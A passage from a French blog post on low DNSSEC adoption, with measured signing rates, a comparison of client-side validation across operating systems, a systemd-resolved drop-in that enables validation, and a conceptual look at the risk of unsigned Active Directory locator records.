haut. Windows ne sait pas faire celle du bas. L\u0026rsquo;un vous remet un verdict. L\u0026rsquo;autre vous remet la preuve La quasi-totalité de la validation dans le monde est du premier type. Google, Cloudflare et Quad9 valident tous, et couvrent entre eux un nombre énorme d\u0026rsquo;utilisateurs. Ça compte pour quelque chose. Mais ça veut dire que la propriété dont la plupart des gens disposent est mon résolveur dit que c\u0026rsquo;était bon.\nCe que chaque système d\u0026rsquo;exploitation sait faire Valide sur l\u0026rsquo;appareil Par défaut Comment l\u0026rsquo;obtenir Linux avec systemd-resolved Oui, entièrement coupé une ligne dans un drop-in Linux avec un unbound ou knot-resolver local Oui, entièrement s.o. l\u0026rsquo;installer, pointer le stub dessus FreeBSD avec local_unbound Oui, entièrement coupé service local_unbound onestart macOS Ventura et suivants, iOS 16 et suivants Oui coupé par application ou par requête, dans le code macOS et iOS avant ça API seulement coupé kDNSServiceFlagsValidate, l\u0026rsquo;application doit demander Android pas proposé par la plateforme s.o. une bibliothèque tierce, dans votre propre application Fisher-Price OS (Windows) Non. Impossible s.o. indisponible à quelque prix que ce soit Deux de ces lignes méritent mieux qu\u0026rsquo;une ligne.\nApple a fait le travail discrètement. iOS 16 et macOS Ventura ont ajouté la validation DNSSEC côté client, dans les mots d\u0026rsquo;Apple elle-même à la WWDC 2022 : « iOS 16 and macOS Ventura now support client side DNSSEC validation », ce qui veut dire qu\u0026rsquo;iOS 16 et macOS Ventura prennent désormais en charge la validation DNSSEC côté client.10 C\u0026rsquo;est sur adhésion plutôt qu\u0026rsquo;automatique, et l\u0026rsquo;adhésion est à la bonne granularité, si bien qu\u0026rsquo;une application qui s\u0026rsquo;en soucie peut la demander par session ou par requête :\nlet configuration = URLSessionConfiguration.default configuration.requiresDNSSECValidation = true Un vrai résolveur validant sur un téléphone, vérifiant les signatures sur l\u0026rsquo;appareil, et presque personne n\u0026rsquo;a remarqué sa sortie. Avant ça, mDNSResponder exposait kDNSServiceFlagsValidate à qui voulait bien utiliser l\u0026rsquo;API C.\nAndroid ne le propose pas. Le résolveur DNS est un module actualisable depuis Android 10 et il a gagné DNS over TLS dans Android 9, donc la plateforme n\u0026rsquo;est pas restée immobile sur le DNS. Mais ni la documentation du résolveur AOSP ni l\u0026rsquo;API publique DnsResolver ne documentent la validation DNSSEC, et si des bibliothèques comme MiniDNS existent et se vantent d\u0026rsquo;amener « DNSSEC close to your application », c\u0026rsquo;est-à-dire DNSSEC au plus près de votre application, c\u0026rsquo;est que la plateforme ne l\u0026rsquo;amène pas. Je n\u0026rsquo;ai pas trouvé de source primaire affirmant platement que c\u0026rsquo;est impossible, donc je ne le formulerai pas plus fort que : pas proposé, et vous l\u0026rsquo;écririez vous-même.\nEt il est jeté même là où il marche Encore une chose, depuis cette machine, que je ne m\u0026rsquo;attendais pas à trouver.\nLe résolveur amont ici valide et le dit. systemd-resolved, avec DNSSEC=no, jette ça avant qu\u0026rsquo;aucune application ne le voie :\n# ---- before: stock Fedora, DNSSEC=no ---------------------------------- $ dig @192.0.2.53 damiendye.uk A | grep flags # the upstream ;; flags: qr rd ra ad $ dig @127.0.0.53 damiendye.uk A | grep flags # the local stub ;; flags: qr rd ra # ---- the fix: two lines in a drop-in ---------------------------------- $ sudo mkdir -p /etc/systemd/resolved.conf.d $ printf \u0026#39;[Resolve]\\nDNSSEC=allow-downgrade\\n\u0026#39; \\ | sudo tee /etc/systemd/resolved.conf.d/10-dnssec.conf $ sudo systemctl restart systemd-resolved # ---- after: same query, same stub, nothing else changed --------------- $ resolvectl status | grep -m1 DNSSEC= DNSSEC=allow-downgrade/supported $ dig @127.0.0.53 damiendye.uk A | grep flags ;; flags: qr rd ra ad Même nom, même réponse, même seconde. Avant le drop-in, l\u0026rsquo;amont faisait le travail, posait le bit AD, et le démon local le jetait par terre, si bien que le défaut n\u0026rsquo;est pas simplement on ne valide pas ici, c\u0026rsquo;est on ne valide pas ici, et on ne transmettra pas non plus le verdict de quelqu\u0026rsquo;un qui l\u0026rsquo;a fait. Après, le bit est de retour et cette fois il est à nous plutôt qu\u0026rsquo;une affirmation de quelqu\u0026rsquo;un d\u0026rsquo;autre.\nresolvectl met le verdict en mots, et il sépare les deux choses qui comptent :\n$ resolvectl query damiendye.uk | tail -2 -- Data is authenticated: yes; Data was acquired via local or encrypted transport: no $ resolvectl query ncsc.gov.uk | tail -2 -- Data is authenticated: no; Data was acquired via local or encrypted transport: no Notez ce que la seconde n\u0026rsquo;est pas. Ce n\u0026rsquo;est pas une erreur. Une zone non signée revient non authentifiée plutôt que falsifiée, la résolution réussit, et rien nulle part ne se plaint. C\u0026rsquo;est tout le problème des 1,63 % reformulé en commande : activer la validation ne fait pas échouer les zones non signées, ça les rend visibles, et seulement pour qui va regarder.\nLe plus grand OS client échoue à la vérification la plus élémentaire Maintenant l\u0026rsquo;autre bout de l\u0026rsquo;échelle, et ce n\u0026rsquo;est pas serré.\nLe client DNS de Windows est, selon la description de Microsoft elle-même, « security-aware » mais « non-validating », conscient de la sécurité mais non validant. Il n\u0026rsquo;effectue pas de validation DNSSEC. On ne peut pas l\u0026rsquo;y forcer. Ce qu\u0026rsquo;il fait à la place, c\u0026rsquo;est demander à son serveur DNS configuré de valider, puis chercher le bit AD dans la réponse.11\nTrois choses là-dessus, et aucune n\u0026rsquo;est petite :\nIl ne vérifie jamais une signature. La garantie la plus forte offerte au plus grand système d\u0026rsquo;exploitation client au monde est un unique bit posé par la machine qui a répondu, quelle qu\u0026rsquo;elle soit. Il ne fait même pas ça par défaut. Le client ne pose le bit DO et n\u0026rsquo;exige AD que pour les espaces de noms listés dans la Name Resolution Policy Table, un objet de stratégie de groupe que quelqu\u0026rsquo;un doit configurer délibérément. Sans règle dedans, la requête ne porte aucune attente DNSSEC du tout. Microsoft dit que le bit a besoin d\u0026rsquo;IPsec pour signifier quoi que ce soit. Leur documentation est explicite : parce que le client est non validant et s\u0026rsquo;appuie sur le serveur, « IPsec is used to establish this trust relationship », c\u0026rsquo;est-à-dire qu\u0026rsquo;IPsec sert à établir cette relation de confiance. Un bit AD arrivant sur un lien non authentifié est une affirmation de celui qui est arrivé le premier, ce qui est très exactement l\u0026rsquo;attaque que toute cette technologie existe pour arrêter. Donc sur le bureau au plus grand parc installé, tel quel d\u0026rsquo;origine : pas de validation, pas d\u0026rsquo;exigence d\u0026rsquo;AD, et pas de canal authentifié vers le résolveur. La vérification la plus élémentaire n\u0026rsquo;est pas seulement coupée. Elle n\u0026rsquo;a jamais été implémentée.\nEt la défense habituelle, selon laquelle les systèmes d\u0026rsquo;exploitation client ne font pas ce genre de chose, est morte en 2022. Apple a livré la validation côté appareil à chaque iPhone et chaque Mac l\u0026rsquo;année même où Microsoft ne l\u0026rsquo;a pas fait. La comparaison n\u0026rsquo;est plus bureau contre serveur, ni mobile contre fixe. C\u0026rsquo;est un éditeur qui l\u0026rsquo;a construite contre un autre qui ne l\u0026rsquo;a pas fait.\nÇa compte davantage que le même écart sous Linux, à cause de qui est concerné. Un serveur Linux est d\u0026rsquo;ordinaire exploité par quelqu\u0026rsquo;un qui pourrait activer la validation cet après-midi et sait ce qu\u0026rsquo;est un enregistrement DS. Les machines qui ne peuvent pas valider du tout, à aucun réglage, sont celles posées sur les bureaux des organisations dont les zones ne sont pas signées dans les tableaux plus haut. systemd-resolved livre la capacité coupée, ce qui est une décision que vous pouvez inverser en une ligne.12 Le Fisher-Price OS (Windows) livre sans la capacité.\nLe service qui tient entièrement au DNS Tout ce qui précède portait sur des noms de l\u0026rsquo;internet public. Le même trou existe à l\u0026rsquo;intérieur du bâtiment, et là-dedans il est porteur.\nActive Directory n\u0026rsquo;a d\u0026rsquo;adresse fixe pour rien. Une machine jointe au domaine ne sait pas où vit son contrôleur de domaine, alors elle demande au DNS. Le processus de localisation interroge _ldap._tcp.dc._msdcs.\u0026lt;domain\u0026gt; pour les contrôleurs et _kerberos._tcp pour le KDC, et ce qui revient est ce contre quoi elle va s\u0026rsquo;authentifier.13\ndig +short _ldap._tcp.dc._msdcs.corp.example SRV Falsifiez cette réponse et la machine emmène son trafic d\u0026rsquo;authentification vers un hôte que vous avez choisi. Soyons clairs : Kerberos ne remettra pas de ticket à un imposteur qui ne détient pas les clés, donc ce n\u0026rsquo;est pas une prise de contrôle du domaine en soi. C\u0026rsquo;est une position sur le chemin, et c\u0026rsquo;est de ça que sont faites les attaques intéressantes. Forcer le repli sur NTLM et le relayer. S\u0026rsquo;asseoir au milieu d\u0026rsquo;un trafic censé aller vers un contrôleur. Ou pointer tout le parc vers rien du tout et regarder les ouvertures de session s\u0026rsquo;arrêter.\nUn enregistrement de localisation falsifié ne livre pas le domaine, il place l'attaquant sur le chemin OÙ EST MON CONTRÔLEUR DE DOMAINE ? LA RÉPONSE N'EST QU'UN ENREGISTREMENT DNS Zone `_msdcs` non signée serveur membre _ldap._tcp.dc SRV première réponse gagne un hôte qu'il a choisi désormais sur le chemin repli NTLM, relais, ou plus de connexions Kerberos ne remet pas de ticket à un imposteur : ce n'est pas une prise de contrôle, c'est une position. Zone signée, client validant serveur membre vérifie la signature falsification rejetée votre contrôleur la réponse signée Rejetée avant toute tentative d'authentification. Windows Server sait signer cette zone depuis 2012. Le client qui la lit ne valide toujours pas. Pas une prise de contrôle du domaine. Une position sur le chemin, et c\u0026rsquo;est là-dessus que se construit le reste La stratégie de groupe, les scripts de connexion, les lecteurs réseau montés et toutes les relations d\u0026rsquo;approbation en aval de l\u0026rsquo;ouverture de session se trouvent de la même façon. C\u0026rsquo;est le jeu de noms de plus grande valeur que possèdent la plupart des organisations, et il est posé là, non signé.\nMicrosoft a construit la moitié serveur du correctif, et l\u0026rsquo;a bien construite. Une zone intégrée à l\u0026rsquo;AD peut être signée, la signature en ligne des zones dynamiques est arrivée dans Windows Server 2012, et comme la zone vit dans l\u0026rsquo;annuaire, les clés de signature privées se répliquent vers les autres serveurs DNS par la réplication AD elle-même.14 La partie véritablement pénible de DNSSEC, amener les clés aux machines qui en ont besoin, a été résolue ici il y a quatorze ans par ce par quoi la zone se répliquait déjà.\nPuis ça s\u0026rsquo;arrête aux deux mêmes endroits que tout le reste :\nLes deux moitiés Ce que Microsoft a livré Ce que vous avez à la sortie de la boîte Signer la zone _msdcs signature en ligne des zones dynamiques intégrées à l\u0026rsquo;AD, clés répliquées par l\u0026rsquo;AD lui-même rien, tant qu\u0026rsquo;un administrateur ne la signe pas Vérifier la signature le client non validant de la section précédente une règle dans la table de stratégie plus IPsec, ou le bit ne veut rien dire Donc la zone interne qui décide quelle machine a le droit d\u0026rsquo;être votre contrôleur de domaine est, dans la plupart des parcs, tout aussi non signée que la publique. La différence, c\u0026rsquo;est qu\u0026rsquo;aucun étranger ne peut la compter, donc aucun tableau de ce billet ne fait honte à personne. Allez regarder la vôtre avant de présumer.\nLe système d\u0026rsquo;exploitation devrait faire ça, et ce devrait être activé Ce qui m\u0026rsquo;amène à la partie de tout ceci que je veux argumenter plutôt que compter.\nValider une réponse DNS est un travail de système d\u0026rsquo;exploitation. Ça relève de la même classe de tâches que tenir l\u0026rsquo;horloge à l\u0026rsquo;heure, porter un magasin de certificats de confiance et avoir une pile TLS, et pour les mêmes raisons : toutes les applications en ont besoin, presque aucune ne devrait l\u0026rsquo;écrire, et la vérification doit se faire une fois, à un endroit où elle peut être faite correctement. On a tranché ce débat pour les certificats il y a bien longtemps. Personne ne livre un client de messagerie avec son avis personnel sur les autorités racine.\nTrois des quatre plateformes ci-dessus savent déjà le faire. Aucune ne le fait d\u0026rsquo;origine :\n$ grep DNSSEC= /usr/lib/systemd/resolved.conf # Fedora 44, systemd 259.9 #DNSSEC=no C\u0026rsquo;est le défaut compilé, écrit en commentaire pour qu\u0026rsquo;un administrateur voie ce qu\u0026rsquo;il est. Le manuel de systemd lui-même a un autre avis, et recommande allow-downgrade en général et true partout où l\u0026rsquo;on peut compter sur l\u0026rsquo;amont.15 Le code est livré, l\u0026rsquo;ancre de confiance racine est livrée, et la documentation est livrée en recommandant de l\u0026rsquo;activer. Le défaut dit toujours non.\nPlateforme Qui doit agir avant qu\u0026rsquo;une signature soit vérifiée systemd-resolved un administrateur, une fois, dans un fichier drop-in macOS 13 et suivants, iOS 16 et suivants l\u0026rsquo;auteur de chaque application, sans exception Android l\u0026rsquo;auteur de chaque application, avec une bibliothèque tierce Windows personne ne peut Cette colonne est tout le problème. Une exigence est un levier, et le décompte .bank plus haut montre ce qu\u0026rsquo;il produit. Un défaut est le même levier sans que personne n\u0026rsquo;ait rien à faire appliquer, parce qu\u0026rsquo;il décide du résultat pour tous ceux qui n\u0026rsquo;ouvrent jamais le fichier de configuration, et c\u0026rsquo;est à peu près tout le monde. L\u0026rsquo;optionnel nous a donné 1,63 % dans l\u0026rsquo;État et 13 % dans la banque. Les gens n\u0026rsquo;adhèrent pas à une sécurité qu\u0026rsquo;ils ne voient pas, et avoir raison sur la technique n\u0026rsquo;a jamais rien changé à ça.\nL\u0026rsquo;objection honnête, c\u0026rsquo;est que valider par défaut casse des utilisateurs quand c\u0026rsquo;est le résolveur amont qui est cassé plutôt que la zone. C\u0026rsquo;est à ça que sert allow-downgrade, et c\u0026rsquo;est un vrai compromis plutôt qu\u0026rsquo;un cadeau, parce qu\u0026rsquo;un déclassement est quelque chose qu\u0026rsquo;un attaquant peut provoquer délibérément. Même ainsi, livrer allow-downgrade au lieu d\u0026rsquo;un no sec serait une amélioration énorme, et ça mettrait la casse là où elle doit être, sur quiconque fait encore tourner en 2026 un résolveur incapable de gérer DNSSEC.\nActiver la validation, et quelle part revient à Fedora La quasi-totalité de ce qui suit relève de systemd et non de Fedora, et tourne pareil sur Debian, Ubuntu ou Arch. Deux choses ici relèvent véritablement de la distribution :\nsystemd amont Fedora 44, telle qu\u0026rsquo;installée default-dnssec compilé allow-downgrade no Fichier de configuration principal /usr/lib/systemd/resolved.conf, chaque défaut en commentaire pour référence livre aussi /etc/systemd/resolved.conf portant Cache=yes, qui le remplace L\u0026rsquo;amont choisit allow-downgrade dans meson_options.txt, qui est le réglage de compromis, pas le courageux.16 Fedora le compile à no puis livre un second fichier de configuration principal, et comme seul le premier fichier trouvé est utilisé, celui qui documente les défauts n\u0026rsquo;est plus celui qui fait foi.15 Alors n\u0026rsquo;éditez ni l\u0026rsquo;un ni l\u0026rsquo;autre. La copie de l\u0026rsquo;éditeur appartient au paquet et une mise à jour vous rendra votre modification ; la copie dans /etc est un fichier dont les autres lignes sont silencieusement absentes.\nUtilisez plutôt un drop-in, ce que fait le bloc plus haut. Il outrepasse le fichier principal qui l\u0026rsquo;a emporté, il survit aux mises à jour de paquets, et il ne contient que ce que vous avez changé. Vérifiez le résultat avec systemd-analyze cat-config systemd/resolved.conf, qui affiche chaque fichier dans l\u0026rsquo;ordre d\u0026rsquo;application et tranche ce qui l\u0026rsquo;a réellement emporté.\nTrois réglages, et le choix entre les deux derniers en est un vrai :\nDNSSEC= Ce qu\u0026rsquo;il fait Ce qu\u0026rsquo;il vous coûte no ne valide rien, et jette aussi le verdict de l\u0026rsquo;amont la falsification arrive en silence, comme aujourd\u0026rsquo;hui allow-downgrade valide, et se retire quand l\u0026rsquo;amont ne suit pas un attaquant peut provoquer ce retrait délibérément yes valide, point final, sans retour possible vos noms partent avec l\u0026rsquo;amont le jour où il casse Commencez sur allow-downgrade, parce qu\u0026rsquo;un résolveur cassé ne vous coûte alors rien. Passez à yes une fois que resolvectl status a dit supported pendant quinze jours et que vous savez ce qu\u0026rsquo;est réellement votre amont. Le détail par distribution pour tout ce qui n\u0026rsquo;est pas Fedora est dans le billet sur resolved.12\nAlors qu\u0026rsquo;est-ce qui arrête les gens, au juste Bon. Les chiffres sont les chiffres. Pourquoi ?\nQuatre raisons sont avancées, et elles ne sont pas toutes des bêtises.\nLa raison Quelle part en est réelle La gestion des clés est difficile C\u0026rsquo;était vrai. Largement automatisée par le fournisseur DNS aujourd\u0026rsquo;hui Ça peut sortir votre domaine d\u0026rsquo;internet Vrai, et c\u0026rsquo;est la vraie raison Le support des bureaux d\u0026rsquo;enregistrement et des fournisseurs est inégal Largement réglé, et facile à vérifier avant de s\u0026rsquo;engager Aucun bénéfice visible, aucun bâton réglementaire Vrai, et probablement décisif La gestion des clés était un obstacle authentique et ne l\u0026rsquo;est plus vraiment. Signer voulait dire autrefois mener ses propres cérémonies de clés, penser à re-signer avant l\u0026rsquo;expiration des signatures, et faire tourner les clés à la main sur un calendrier à suivre soi-même. Ce travail est aujourd\u0026rsquo;hui fait par le fournisseur DNS sur la plupart des plateformes gérées, et signer est une case à cocher. Ce n\u0026rsquo;est pas rien, mais ce n\u0026rsquo;est plus un projet.\nLe mode de défaillance est l\u0026rsquo;objection honnête, et c\u0026rsquo;est la seule des quatre pour laquelle j\u0026rsquo;ai une vraie sympathie. Ratez DNSSEC et votre domaine ne se dégrade pas, il disparaît. Chaque résolveur validant refuse vos enregistrements, comme il est censé le faire, et les gens qui ne peuvent pas vous joindre ne peuvent pas apprendre pourquoi de votre bouche, parce que le leur dire exige le DNS.\nTrois choses le rendent pire qu\u0026rsquo;une panne ordinaire :\nÇa échoue sur une horloge, pas sur un changement. Les signatures portent une expiration. Une zone que personne n\u0026rsquo;a touchée depuis mardi peut avoir disparu dimanche parce qu\u0026rsquo;une tâche de re-signature s\u0026rsquo;est tranquillement arrêtée. Ça échoue pour certains et pas pour d\u0026rsquo;autres. Seuls les résolveurs validants vous rejettent. Votre propre supervision, si elle ne valide pas, rapportera un site en parfaite santé pendant qu\u0026rsquo;une fraction croissante d\u0026rsquo;internet ne peut pas vous atteindre. Ça échoue à la couche dont vous vous servez pour réparer. L\u0026rsquo;accès distant, votre page d\u0026rsquo;état et votre propre messagerie peuvent tous être sous le nom qui vient de disparaître. Cette peur est rationnelle, elle a mis de gros opérateurs hors d\u0026rsquo;antenne, et tout plaidoyer honnête pour DNSSEC doit s\u0026rsquo;asseoir avec elle plutôt que la balayer.\nMais remarquez sa forme : c\u0026rsquo;est la peur d\u0026rsquo;une discipline opérationnelle que vous n\u0026rsquo;avez pas aujourd\u0026rsquo;hui, pas la peur de la technologie.\nNon signé échoue en silence sur vos utilisateurs. Mal configuré échoue bruyamment sur vous DEUX FAÇONS DE MAL TOURNER, ET ON NE PARLE QUE DE L'UNE DES DEUX Non signé Une réponse falsifiée est simplement crue. Rien ne la journalise. Rien n'alerte. Dure aussi longtemps que le TTL de l'attaquant. Votre supervision reste au vert. Le coût retombe sur qui a cru la réponse. Pas sur vous. Signé, et cassé Le domaine disparaît purement et simplement. Échoue sur une horloge, pas sur un changement. Seulement pour les résolveurs validants, donc vos contrôles peuvent sembler bons. Le coût retombe sur vous, bruyamment, avec votre nom sur l'incident. C'est pourquoi le second obtient un dossier de justification et pas le premier. Personne n'est jamais blâmé pour une attaque qui n'a jamais été détectée. Non signé échoue en silence, sur vos utilisateurs. Mal configuré échoue bruyamment, sur vous Et remarquez qui paie dans chaque colonne. Une zone non signée qui se fait falsifier coûte à vos clients, en silence, et personne ne déclare jamais d\u0026rsquo;incident parce que personne ne l\u0026rsquo;apprend jamais. Une zone signée qui expire vous coûte à vous, immédiatement, en public, avec votre nom sur le post-mortem. Les deux sont des échecs. Un seul apparaît dans les objectifs de quelqu\u0026rsquo;un.\nLes certificats ont eu le même problème et l\u0026rsquo;ont résolu deux fois plutôt qu\u0026rsquo;une : l\u0026rsquo;échec a été rendu visible, puis il a été automatisé. Un avertissement de navigateur a fait d\u0026rsquo;un certificat expiré le problème de tout le monde, la supervision a suivi, puis Let\u0026rsquo;s Encrypt a fait du renouvellement une chose qu\u0026rsquo;une tâche cron fait à trois heures du matin. Rien de tout ça n\u0026rsquo;a rendu les certificats plus faciles dans l\u0026rsquo;absolu. Ça a rendu plus difficile de les oublier.\nLe support des fournisseurs mérite dix minutes de vérification plutôt qu\u0026rsquo;une supposition. Certains bureaux d\u0026rsquo;enregistrement font encore de la publication d\u0026rsquo;un DS un ticket de support. Beaucoup non.\nEt la dernière est la vraie réponse, ce que le registre .bank a déjà prouvé plus haut dans ce billet. Il n\u0026rsquo;y a pas de cadenas de navigateur pour DNSSEC. Aucun client n\u0026rsquo;a jamais choisi une banque parce que sa zone était signée, aucun auditeur ne vous recale là-dessus, et aucune réglementation générale au Royaume-Uni ne l\u0026rsquo;exige. Le bénéfice est entièrement invisible quand ça marche, le coût d\u0026rsquo;une erreur est une panne avec votre nom dessus, et la personne qui porte cette panne n\u0026rsquo;est pas celle qui en aurait eu le mérite.\nMettez une exigence et un contrôle annuel devant les mêmes établissements et la conformité passe de 13 % à la totalité. Rien de la technologie n\u0026rsquo;a changé entre ces deux chiffres. Rien des budgets, des prestataires ou des compétences non plus. La seule variable était de savoir si quelqu\u0026rsquo;un allait regarder.\nVu ces incitations, ce qui surprend n\u0026rsquo;est pas que 1,63 % des domaines de l\u0026rsquo;État soient signés. C\u0026rsquo;est que trente-neuf le soient.\nL\u0026rsquo;activer sans se retirer d\u0026rsquo;antenne Tout le risque tient à un seul endroit, alors mettez l\u0026rsquo;effort là. L\u0026rsquo;expiration de signature est l\u0026rsquo;échec qui arrive sans que personne n\u0026rsquo;ait rien touché, alors mettez une alarme dessus :\ndig +dnssec damiendye.uk SOA | awk \u0026#39;/RRSIG/ {print \u0026#34;sig expires\u0026#34;, $9}\u0026#39; Traitez-la comme un certificat. Surveillez la date, alarmez bien avant, et rendez le renouvellement automatique pour que l\u0026rsquo;alarme soit un filet de sécurité et non un mode de fonctionnement.\nPuis activez-le à une heure calme, sur autre chose que votre domaine principal, et laissez passer quinze jours avant de faire celui qui compte. Si votre DNS est sur une plateforme gérée, la signature elle-même est très probablement une case à cocher, et la seule étape véritablement manuelle est le dépôt du DS chez votre bureau d\u0026rsquo;enregistrement.\nEst-ce le même échec qu\u0026rsquo;IPv6 ? C\u0026rsquo;est la comparaison évidente, alors j\u0026rsquo;ai mesuré les deux normes dans les mêmes populations le même jour. Mêmes organisations, mêmes gens, deux décisions.\nn Signés DNSSEC Joignables en IPv6 Banques et sociétés de crédit immobilier britanniques 98 13,3 % 36,7 % Distributions Linux et BSD 96 19,8 % 67,7 % Tous les domaines gov.uk vivants 2 380 1,6 % 31,2 % La migration difficile bat la facile, trois contre un et dix-neuf contre un LES MÊMES ORGANISATIONS, LES DEUX NORMES, LE MÊME JOUR signés DNSSEC joignables en IPv6 banques britanniques 98 testées 13,3 % 36,7 % Linux et BSD 96 testées 19,8 % 67,7 % Tous les gov.uk vivants 2 380 domaines 1,6 % 31,2 % IPv6 touche chaque routeur et chaque hôte. DNSSEC est un seul enregistrement à déposer. Les mêmes organisations, les deux normes, mesurées le même jour Dix-neuf fois plus avancé dans l\u0026rsquo;État, sur les mêmes domaines.\nMaintenant asseyez-vous avec ce qui est quoi. IPv6 touche chaque routeur, chaque hôte et chaque application, et veut une double pile qui tourne en parallèle pendant des années. Signer DNSSEC est une case à cocher et un enregistrement collé chez votre bureau d\u0026rsquo;enregistrement.\nLe travail de loin le plus dur bat le facile partout où j\u0026rsquo;ai regardé. Ce qui écarte l\u0026rsquo;explication confortable selon laquelle c\u0026rsquo;est juste comme ça que vont les normes d\u0026rsquo;infrastructure, lentement et à contrecœur. DNSSEC n\u0026rsquo;avance pas lentement. Il n\u0026rsquo;avance pas.\nUne différence appartient à DNSSEC seul. Déployez IPv6 et vous récupérez quelque chose : de la joignabilité, pas de NAT d\u0026rsquo;opérateur à acheter. Signez votre zone et vous, personnellement, ne récupérez rien. La protection atterrit sur vos utilisateurs, et seulement sur ceux qui sont derrière un résolveur validant. Vous assumez un risque de panne permanent au nom de gens que vous ne rencontrerez jamais, et c\u0026rsquo;est plus difficile à présenter à un conseil d\u0026rsquo;administration que n\u0026rsquo;importe quel obstacle technique de ce billet.\nJ\u0026rsquo;ai écrit la moitié IPv6 de cet argument ailleurs et je ne la répéterai pas ici.17\nEst-ce qu\u0026rsquo;on ne comprend toujours pas le DNS ? Quarante-deux ans depuis que Mockapetris l\u0026rsquo;a mis par écrit en novembre 1983.18 Seize depuis que la racine est signée.\nJe pense que le problème de compréhension est réel, et je pense qu\u0026rsquo;il est plus précis que « les gens ne savent pas comment marche le DNS ». Beaucoup d\u0026rsquo;ingénieurs compétents savent très bien décrire la récursion, la délégation et le cache. Ce qui manque est un cran plus loin, et c\u0026rsquo;est le cran qui compte.\nPresque personne n\u0026rsquo;a intériorisé que le DNS est un système d\u0026rsquo;autorisation.\nOn le traite comme de la plomberie. Une table de correspondance. Une chose qui transforme des noms en numéros et qui appartient à celui qui exploite le réseau, rangée mentalement à côté de DHCP. Et ce cadrage est faux d\u0026rsquo;une manière qui décide tranquillement de beaucoup, parce qu\u0026rsquo;en pratique la réponse DNS est ce qui décide vers quelle machine va votre trafic, de quel serveur viennent vos mises à jour, et quel hôte une autorité de certification croit être le vôtre. Celui qui contrôle la réponse contrôle les trois.\nOn voit le malentendu dans le motif de qui a signé. Pas le budget, et pas la compétence non plus, et une fois qu\u0026rsquo;on l\u0026rsquo;aligne il est difficile de le lire autrement que comme un motif de ce que chacun pense que le DNS est :\nQui a signé Ce qu\u0026rsquo;est le DNS pour eux Registres et opérateurs de TLD, 100 % des gTLD le produit lui-même Un service de renseignement une surface d\u0026rsquo;attaque, parce que leur modèle de menace contient la falsification Neuf conseils de paroisse une case que leur hébergeur proposait, et que quelqu\u0026rsquo;un a cochée Les clients d\u0026rsquo;un fournisseur DNS un défaut dont ils ont hérité Qui n\u0026rsquo;a pas signé Banques, ministères, éditeurs, autorités de certification de la plomberie, et un niveau en dessous des problèmes intéressants Les gens les plus proches du DNS en tant que chose en soi ont tous signé. Ceux qui le consomment comme un service ne l\u0026rsquo;ont pas fait, à peu près sans exception, si bien dotés et si soucieux de sécurité qu\u0026rsquo;ils se croient. Le GCHQ n\u0026rsquo;a pas signé. Huit autorités de certification sur neuf n\u0026rsquo;ont pas signé. Ce ne sont pas des organisations à court de gens intelligents ni de modèles de menace.\nC\u0026rsquo;est aussi pourquoi la réponse de 2008 à Kaminsky a été de rendre la devinette plus difficile plutôt que de finir de déployer la chose qui rend la devinette sans objet. Rendre la devinette plus difficile est une réparation de plomberie, et la plomberie est la rubrique sous laquelle l\u0026rsquo;industrie avait rangé le DNS.\nUne génération a appris le DNS comme un annuaire, et n\u0026rsquo;a jamais révisé la fiche quand il est tranquillement devenu la chose qui décide à qui vous parlez.\nOn l\u0026rsquo;a construit, puis on l\u0026rsquo;a laissé là Les registres, les opérateurs et les gens des normes ont fait la partie difficile. Ils l\u0026rsquo;ont écrite, l\u0026rsquo;ont débattue à l\u0026rsquo;IETF pendant une décennie, ont signé la racine lors d\u0026rsquo;une cérémonie avec témoins, et ont obtenu 100 % des domaines génériques de premier niveau signés. C\u0026rsquo;est une véritable pièce d\u0026rsquo;ingénierie collective et elle est terminée.\nEt ensuite nous autres n\u0026rsquo;avons pas fait notre part, parce que notre part est ennuyeuse, invisible, porte tout l\u0026rsquo;inconvénient personnel et aucun des lauriers, et que personne ne vérifie.\nC\u0026rsquo;est la forme de toute norme que personne ne fait appliquer : le coût est porté seul, et le bénéfice n\u0026rsquo;apparaît qu\u0026rsquo;une fois qu\u0026rsquo;assez d\u0026rsquo;autres l\u0026rsquo;ont porté aussi. Donc les registres l\u0026rsquo;ont porté, et ceux qui publient les recommandations sur le fait de le porter ne l\u0026rsquo;ont pas fait.\nSauf que le travail ici était plus petit que presque tous les autres. La chaîne était déjà bâtie, et payée, par quelqu\u0026rsquo;un d\u0026rsquo;autre. Il ne restait qu\u0026rsquo;un enregistrement.\nEt si c\u0026rsquo;est ça, la partie qu\u0026rsquo;on voit Une dernière pensée, et je veux être clair : c\u0026rsquo;est une inférence et non une mesure, parce que tout le reste de ce billet est compté et pas ça.\nDNSSEC est à peu près le contrôle de sécurité le plus facile à évaluer qui soit. Il ne coûte rien, le travail tient en un après-midi, la norme est finie depuis vingt ans, et n\u0026rsquo;importe qui peut le vérifier de l\u0026rsquo;extérieur en une commande sans demander la permission. Pas d\u0026rsquo;audit, pas de questionnaire, pas d\u0026rsquo;accord de confidentialité. Un dig.\nAlors qu\u0026rsquo;est-ce que 1,6 % vous dit sur les contrôles que vous ne pouvez pas voir d\u0026rsquo;ici ?\nLe contrôle Un étranger peut-il le vérifier Coûte de l\u0026rsquo;argent Visible quand ça marche Un enregistrement DS chez votre bureau d\u0026rsquo;enregistrement Oui, une commande non non L\u0026rsquo;authentification multifacteur sur les comptes qui comptent non oui non Des sauvegardes restaurées cette année, et pas seulement prises non oui non La segmentation du réseau non oui non Chaque ligne sous la première est plus difficile que signer une zone, coûte de l\u0026rsquo;argent réel, demande que quelqu\u0026rsquo;un la porte, et partage la propriété exacte qui a coulé DNSSEC : invisible quand ça marche, et personne de l\u0026rsquo;extérieur pour vérifier. La seule chose qui sépare la première ligne des autres, c\u0026rsquo;est que vous pouvez la vérifier, gratuitement, sur n\u0026rsquo;importe qui, tout de suite.\nSi une organisation n\u0026rsquo;a pas fait la chose gratuite qui prend un après-midi et qu\u0026rsquo;un inconnu peut vérifier en une commande, je ne suis pas enclin à supposer qu\u0026rsquo;elle a fait les choses coûteuses qui demandent un programme et ne peuvent être vérifiées que par quelqu\u0026rsquo;un qu\u0026rsquo;elle laisse entrer.\nAlors le geste évident est de tester ça contre l\u0026rsquo;historique des compromissions, et j\u0026rsquo;ai essayé. Sur 23 organisations britanniques ayant connu des incidents majeurs documentés, 22 ne sont pas signées.\nCe chiffre ne prouve rien et je ne vais pas faire semblant du contraire. À un taux de base de 1,6 %, une organisation signée dans une liste de 23 est très exactement ce que le hasard prédit. Pire, les signées, c\u0026rsquo;est neuf conseils de paroisse et trois parcs nationaux, quand les non signées, c\u0026rsquo;est tous les grands ministères et toutes les grandes villes : la taille détermine donc à la fois qui se fait attaquer et 